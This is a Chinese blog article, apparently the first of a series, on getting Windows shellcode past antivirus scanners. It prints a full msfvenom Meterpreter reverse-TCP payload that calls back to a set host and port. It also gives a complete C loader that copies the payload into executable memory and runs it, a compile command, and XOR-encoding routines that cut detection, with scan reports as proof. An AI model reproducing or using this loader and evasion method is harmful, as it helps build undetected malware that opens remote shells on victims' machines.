其实鄙人对所谓的免杀从来没怎么上心研究过,因为很多时候程序都是自己写的,并且根据不同场景可以灵活的调整。
比如这款pipe的木马,是去年心血来潮写的,到现在还是呆萌呆萌的免杀。
额~~~大蜘蛛抽风了吗?居然检测出是木马~~~~
附上2022/10/19新鲜出炉的检测报告
https://www.virscan.org/report/fc757aa74e23d58913e00b431bf4487175edf52c5aec16e7754cee1198a34100
好吧,不扯远了,这都是无伤大雅的事情。
综上所述,最好的免杀就是~~~~
遵循一切安全规则的前提条件下达到自己的目的。
----zngeek
但是最近有朋友托我看看针对于windows的X86和X64的shellcode载荷的免杀,就索性研究了一下。
因为这里面想分享的东西太多了,一篇幅的文章肯定是写不完的,我也不知道要写多少,索性就是弄个专题吧,写到哪天我觉得我知道的已经分享完了,就完结~~~~
来,跟着我的思路开始
首先,shellcode就是一段二进制文件,我们要将它放入内存中,然后让CPU去读取运算这段二进制数据。安全软件的各种所谓的骚操作骚技术无非我总结下来是以下几点:
1、特征
为什么很多自己写的程序比较容易过安全软件的扫描,很大一部分原因是它没有我的特征,如果是发布过的并且有大量人使用,那么特征一定是被记录得明明白白。特征包含的就太广了,比如最浅显的hash值,更多的是程序内的某一段固定的二进制数据等等。
2、内存
监测载入内存的二进制数据,从而分析是否有违反规则的数据。
3、行为
判断程序执行的种种行为是否存在违规行为。
举个简单的例子,如果你直接新增注册表的run键值,那么99.999999%都会把你干掉,因为我们的程序是"野生"的,没有各种安全软件的白名单认可,但是换个思路,如果我是以安全软件认证的白名单去执行这个操作呢?
4、大数据&AI
longlong鹅狗,那时候没有什么大数据,人工智能等等的东西,我们只用针对于安全程序本身的病毒库、行为分析等等就能够完全欺骗过去。但是现在我们更多的要针对于上传到云的AI分析,庞大的运算速率分析,很难逃得过去,今天我在virscan上传了我的木马进行检测,很有可能明天就会被查杀掉。(所以,发布出来的,你可以借鉴,但是不能依赖。引用一句骚话:过于落后,可以展示)
我觉得百科这句话总结得很到位
------可爱的分割线------
这里我们由浅到深来,以下我都以C语言为例进行原理性的演示。
shellcode就用现在很多人喜欢用的老外的什么msf生成的木马为例。
首先介绍两个win的API
1、VirtualAlloc()
看一下百科怎么说的
翻译成我们要实现本次目的通俗的人话就是,开辟一段内存空间用来存放我们要写入的二进制数据。
这个API函数有四个参数
LPVOID lpAddress //分配内存区域的地址
SIZE_T dwSize //分配内存的大小
flAllocationType //分配的类型
DWORD flProtect //初始保护属性
对应的值感兴趣的自己去了解,这里就不废话了。
2、memcpy()
从字面来看,就是内存数据的copy,上面我们开辟了内存空间,当然要把我们的二进制数据copy进去。
该API函数有三个参数
destin //指向用于存储复制内容的目标数组,类型强制转换为 void* 指针。
source //指向要复制的数据源,类型强制转换为 void* 指针。
n //要被复制的字节数。
有这两个win的API就够了,下面就开始写我们的代码
首先用msfvenom生成一个C语言的shellcode,x64或者x86都无所谓,编译的时候用不同架构编译即可。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.1.1.210 LPORT=9115 -f c > x64.c
得到的shellcode如下
unsigned char buf[] =
"xfcx48x83xe4xf0xe8xccx00x00x00x41x51x41x50"
"x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52"
"x18x48x8bx52x20x4dx31xc9x48x0fxb7x4ax4ax48"
"x8bx72x50x48x31xc0xacx3cx61x7cx02x2cx20x41"
"xc1xc9x0dx41x01xc1xe2xedx52x48x8bx52x20x41"
"x51x8bx42x3cx48x01xd0x66x81x78x18x0bx02x0f"
"x85x72x00x00x00x8bx80x88x00x00x00x48x85xc0"
"x74x67x48x01xd0x8bx48x18x50x44x8bx40x20x49"
"x01xd0xe3x56x48xffxc9x4dx31xc9x41x8bx34x88"
"x48x01xd6x48x31xc0xacx41xc1xc9x0dx41x01xc1"
"x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8"
"x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44"
"x8bx40x1cx49x01xd0x41x8bx04x88x41x58x41x58"
"x48x01xd0x5ex59x5ax41x58x41x59x41x5ax48x83"
"xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9"
"x4bxffxffxffx5dx49xbex77x73x32x5fx33x32x00"
"x00x41x56x49x89xe6x48x81xecxa0x01x00x00x49"
"x89xe5x49xbcx02x00x23x9bx0ax01x01xd2x41x54"
"x49x89xe4x4cx89xf1x41xbax4cx77x26x07xffxd5"
"x4cx89xeax68x01x01x00x00x59x41xbax29x80x6b"
"x00xffxd5x6ax0ax41x5ex50x50x4dx31xc9x4dx31"
"xc0x48xffxc0x48x89xc2x48xffxc0x48x89xc1x41"
"xbaxeax0fxdfxe0xffxd5x48x89xc7x6ax10x41x58"
"x4cx89xe2x48x89xf9x41xbax99xa5x74x61xffxd5"
"x85xc0x74x0ax49xffxcex75xe5xe8x93x00x00x00"
"x48x83xecx10x48x89xe2x4dx31xc9x6ax04x41x58"
"x48x89xf9x41xbax02xd9xc8x5fxffxd5x83xf8x00"
"x7ex55x48x83xc4x20x5ex89xf6x6ax40x41x59x68"
"x00x10x00x00x41x58x48x89xf2x48x31xc9x41xba"
"x58xa4x53xe5xffxd5x48x89xc3x49x89xc7x4dx31"
"xc9x49x89xf0x48x89xdax48x89xf9x41xbax02xd9"
"xc8x5fxffxd5x83xf8x00x7dx28x58x41x57x59x68"
"x00x40x00x00x41x58x6ax00x5ax41xbax0bx2fx0f"
"x30xffxd5x57x59x41xbax75x6ex4dx61xffxd5x49"
"xffxcexe9x3cxffxffxffx48x01xc3x48x29xc6x48"
"x85xf6x75xb4x41xffxe7x58x6ax00x59x49xc7xc2"
"xf0xb5xa2x56xffxd5";
然后定义一个char指针,用VirtualAlloc()开辟一块内存并且把地址赋予指针。
char *Memory;
Memory=VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
第一个参数可以为空,自由分配,第二个参数取我们的shellcode大小赋值,第三个参数COMMIT和RESERVE类型,就是提交物理内存和保留该内存空间,第四个参数PAGE_EXECUTE_READWRITE代表开辟的内存区域可以执行二进制数据,应用程序可以读写该区域二进制数据。
接着我们需要往我们开辟的内存里面写入二进制数据
memcpy(Memory, buf, sizeof(buf));
成功将buf写入后,最后就是告诉CPU去运算这段内存二进制数据吧!!!
((void(*)())Memory)();
至此,我们基本载入shellcode的框架就写完了。
完整代码如下:
unsigned char buf[] =
"xfcx48x83xe4xf0xe8xccx00x00x00x41x51x41x50"
"x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52"
"x18x48x8bx52x20x4dx31xc9x48x0fxb7x4ax4ax48"
"x8bx72x50x48x31xc0xacx3cx61x7cx02x2cx20x41"
"xc1xc9x0dx41x01xc1xe2xedx52x48x8bx52x20x41"
"x51x8bx42x3cx48x01xd0x66x81x78x18x0bx02x0f"
"x85x72x00x00x00x8bx80x88x00x00x00x48x85xc0"
"x74x67x48x01xd0x8bx48x18x50x44x8bx40x20x49"
"x01xd0xe3x56x48xffxc9x4dx31xc9x41x8bx34x88"
"x48x01xd6x48x31xc0xacx41xc1xc9x0dx41x01xc1"
"x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8"
"x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44"
"x8bx40x1cx49x01xd0x41x8bx04x88x41x58x41x58"
"x48x01xd0x5ex59x5ax41x58x41x59x41x5ax48x83"
"xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9"
"x4bxffxffxffx5dx49xbex77x73x32x5fx33x32x00"
"x00x41x56x49x89xe6x48x81xecxa0x01x00x00x49"
"x89xe5x49xbcx02x00x23x9bx0ax01x01xd2x41x54"
"x49x89xe4x4cx89xf1x41xbax4cx77x26x07xffxd5"
"x4cx89xeax68x01x01x00x00x59x41xbax29x80x6b"
"x00xffxd5x6ax0ax41x5ex50x50x4dx31xc9x4dx31"
"xc0x48xffxc0x48x89xc2x48xffxc0x48x89xc1x41"
"xbaxeax0fxdfxe0xffxd5x48x89xc7x6ax10x41x58"
"x4cx89xe2x48x89xf9x41xbax99xa5x74x61xffxd5"
"x85xc0x74x0ax49xffxcex75xe5xe8x93x00x00x00"
"x48x83xecx10x48x89xe2x4dx31xc9x6ax04x41x58"
"x48x89xf9x41xbax02xd9xc8x5fxffxd5x83xf8x00"
"x7ex55x48x83xc4x20x5ex89xf6x6ax40x41x59x68"
"x00x10x00x00x41x58x48x89xf2x48x31xc9x41xba"
"x58xa4x53xe5xffxd5x48x89xc3x49x89xc7x4dx31"
"xc9x49x89xf0x48x89xdax48x89xf9x41xbax02xd9"
"xc8x5fxffxd5x83xf8x00x7dx28x58x41x57x59x68"
"x00x40x00x00x41x58x6ax00x5ax41xbax0bx2fx0f"
"x30xffxd5x57x59x41xbax75x6ex4dx61xffxd5x49"
"xffxcexe9x3cxffxffxffx48x01xc3x48x29xc6x48"
"x85xf6x75xb4x41xffxe7x58x6ax00x59x49xc7xc2"
"xf0xb5xa2x56xffxd5";
int main(){
char *Memory;
Memory=VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, buf, sizeof(buf));
((void(*)())Memory)();
}
直接编译引用x64的lib
gcc.exe "x64.c" -o "x64.exe" -mwindows -I"MinGW64include" -I"x86_64-w64-mingw32include" -I"x86_64-w64-mingw324.9.2include" -L"x86_64-w64-mingw32lib" -static-libgcc -mwindows
运行看看,上线成功
至此,我们的shellcode算是成功的运行了,看看免杀情况怎么样。
360居然免杀
360木马查杀扫描日志
开始时间: 2022-10-20 00:13:06
扫描用时: 00:00:07
扫描类型: 自定义扫描
扫描引擎:360云查杀引擎(本地木马库) 360启发式引擎 QEX脚本查杀引擎
扫描文件数: 1
系统关键位置文件: 0
系统内存运行模块: 0
压缩包文件: 0
安全的文件数: 1
发现安全威胁: 0
已处理安全威胁: 0
扫描选项
扫描后自动关机: 否
扫描模式: 速度最快
管理员:是
扫描内容
C:UsersAdministrator.ZNGEEKDesktopx64.exe
扫描结果
未发现安全威胁
当然,这个只是假象,上传virscan看看,报告如下
报告地址:https://www.virscan.org/report/e68eed43e50446df8cdbb3d73a276d1929106e3d34c69d461d50c74904863e42
------可爱的分割线------
从最开始我讲到的安全软件其中一种机制就是【内存】,我们载入内存的二进制数据是msf生成的,特征都已经被检测烂了,那么我们是不是可以对shellcode这段二进制数据做做文章呢?当然可以。
我想的是异或运算一下,在调用的时候再还原回来。
比如我将msf的shellcode异或一个0x11
int main() {
int i;
printf("shellcode is:n");
for(i=0; i<=sizeof(buf); i++) {
buf[i]=buf[i] ^ 0x11;
printf("\x%x",buf[i]);
}
}
当然,你也可用用python等等更简单的脚本语言来实现
import sys
raw_data = "0x............................."
new_shellcode = []
for opcode in raw_data:
# The encoding process for each opcode
new_opcode = (ord(opcode) ^ 0x01)
new_shellcode.append(new_opcode)
print "".join(["\x{0}".format(hex(abs(i)).replace("0x", "")) for i in new_shellcode])
然后把异或过后的shellcode替换原始的shellcode,在载入之前,我们把他异或回来
int i;
for(i=0; i<=sizeof(buf); i++) {
buf[i]=buf[i] ^ 0x11;
}
编译过后,再来看看免杀效果。比刚刚要好多了~~~
报告地址:https://www.virscan.org/report/33cc832964bd3ffcd022b56faba11dd4e0a06ba414f7de54720c982d159f1f72
------可爱的分割线------
当然,针对于二进制数据我们还有很多可以玩的编码解码,这里只是提供一种思路,俗话说:授人以鱼不如授人以渔
今天就写到这里吧,下一篇系列文章我将着重介绍一下各种注入shellcode的骚操作方式。也就是上面说到的【行为】
时不时我写的时候想到一些冷知识,也会告诉大家。
比如:在win环境下用GCC编译C语言的的时候
1、x64系统就编译x64的,要编译32位的程序,最好是使用x86的系统环境,别问我为什么,问就是你自己去反编译一下同样代码出来的程序,你会发现一些特征是抹不去的,除非你是偏执狂大神,愿意汇编一点点的去修改,那还不如直接用一个x86的环境去编译。
2、在编写C或者C++的时候,适当的用汇编语言,会大大的增加免杀机率,具体原因我没有仔细的去分析过,估计盲猜是因为编译器翻译成二进制数据时的一些特征问题吧,比如我直接用API调用内存让cpu运算,和我用__asm call,最终得到的二进制数据是不一样的。
原文始发于微信公众号(蓝极战队):免杀那点事儿之windows的shellcode(一)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论